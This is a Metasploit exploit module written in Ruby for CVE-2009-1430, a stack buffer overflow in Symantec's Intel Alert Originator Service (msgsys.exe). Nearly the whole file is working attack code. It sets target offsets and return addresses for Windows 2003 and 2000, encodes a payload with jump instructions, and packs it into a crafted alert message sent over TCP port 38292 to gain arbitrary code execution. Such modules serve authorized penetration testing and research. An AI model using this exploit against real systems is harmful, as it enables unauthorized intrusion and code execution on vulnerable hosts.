##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.
        When an attacker sends a specially crafted alert, arbitrary code may be executed.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-1430' ],
          [ 'OSVDB', '54159'],
          [ 'BID', '34674' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2003',     { 'Offset' => 1061, 'Ret' => 0x00401130 } ],
          [ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Apr 28 2009'))

    register_options( [ Opt::RPORT(38292) ])
  end

  def exploit

    connect

    filler = rand_text_alpha_upper(2048)

    sploit =  payload.encoded
    sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
    sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
    sploit << [target.ret].pack('V')
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string
    sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"

    msg =  "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"
    msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')
    msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"
    msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"
    msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
    msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')
    msg << rand_text_alpha_upper(7) + " Alert" + sploit
    msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')
    msg << rand_text_alpha_upper(rand(10) + 36)
    msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"
    msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"
    msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"
    msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"
    msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"
    msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"
    msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"

    print_status("Trying target #{target.name}...")
    sock.put(msg)

    handler
    disconnect
  end
end
